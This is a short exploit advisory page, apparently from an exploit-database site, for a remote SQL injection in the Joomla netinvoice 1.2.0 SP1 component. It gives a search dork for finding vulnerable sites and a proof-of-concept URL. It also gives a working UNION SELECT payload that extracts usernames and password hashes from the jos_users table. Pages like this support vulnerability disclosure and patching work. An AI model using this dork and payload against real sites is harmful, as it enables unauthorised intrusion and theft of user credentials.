Joomla Component netinvoice 1.2.0 SP1 SQL Injection Vulnerability

2008.08.08
Credit: His0k4
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/---------------------------------------------------------------\ \ / / Joomla Component netinvoice Remote SQL injection \ \ / \---------------------------------------------------------------/ [*] Author : His0k4 [ALGERIAN HaCkEr] [*] Dork : inurl:com_netinvoice [*] POC : http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid={SQL} [*] Example : http://localhost/[Joomla_Path]/index.php?option=com_netinvoice&action=orders&task=order&cid=-1 UNION SELECT 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 FROM jos_users-- ---------------------------------------------------------------------------- [*] Greetings : All friends & muslims HaCkeRs... [*] Greetings2: http://palcastle.org/cc

References:

http://www.nbill.co.uk/forum-smf/index.php/topic,716.0.html
http://www.milw0rm.com/exploits/5939
http://secunia.com/advisories/30752


Vote for this issue:
50%
50%

Comment it here.

Copyright 2025, cxsecurity.com

 

Back to Top